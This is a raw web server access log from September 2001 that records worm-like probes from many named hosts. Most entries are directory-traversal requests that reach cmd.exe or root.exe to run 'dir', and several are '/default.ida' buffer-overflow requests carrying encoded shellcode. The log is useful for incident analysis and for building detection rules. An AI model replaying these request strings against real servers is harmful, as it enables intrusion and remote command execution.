/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:15:42: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:17:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:22:40: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:20: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:23:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:23:50: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:28:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:33:00: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:41:57: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:41:58: ns.kcci.or.kr [210.124.8.13] "" 20010919 02:42:11: [128.134.254.143] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:42:31: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:42:32: [128.134.254.143] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:42:50: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:42:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:42:51: [128.134.254.143] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:09: [128.134.254.143] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:28: [128.134.254.143] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:46: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:43:46: [128.134.254.143] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:05: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:44:06: [128.134.254.143] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:24: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:24: [128.134.254.143] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:43: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:44:43: [128.134.254.143] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:02: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:02: [128.134.254.143] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:45:24: [128.134.254.143] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:42: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:45:42: [128.134.254.143] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:01: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:46:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:46:03: [128.134.254.143] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:21: [128.134.254.143] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:40: [128.134.254.143] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:46:58: [128.134.254.143] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:47:17: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:48:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 02:51:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:54:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 02:57:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir 